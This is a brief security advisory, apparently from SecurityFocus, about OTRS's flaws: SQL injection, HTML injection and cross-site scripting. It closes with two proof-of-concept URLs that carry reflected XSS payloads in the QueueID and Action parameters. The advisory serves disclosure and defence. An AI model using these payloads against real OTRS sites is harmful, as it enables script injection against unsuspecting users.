source: http://www.securityfocus.com/bid/15537/info
  
OTRS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
The application is prone to multiple SQL-injection vulnerabilities, an HTML-injection vulnerability, and multiple cross-site scripting vulnerabilities. 

http://www.example.com/index.pl?QueueID=%22%3E%3Cscript%3Ealert('[XSS_HERE]')%3B%3C/script%3E%3Cx%20y=%22
http://www.example.com/index.pl?Action="><script>alert(document.title);</script><x%20"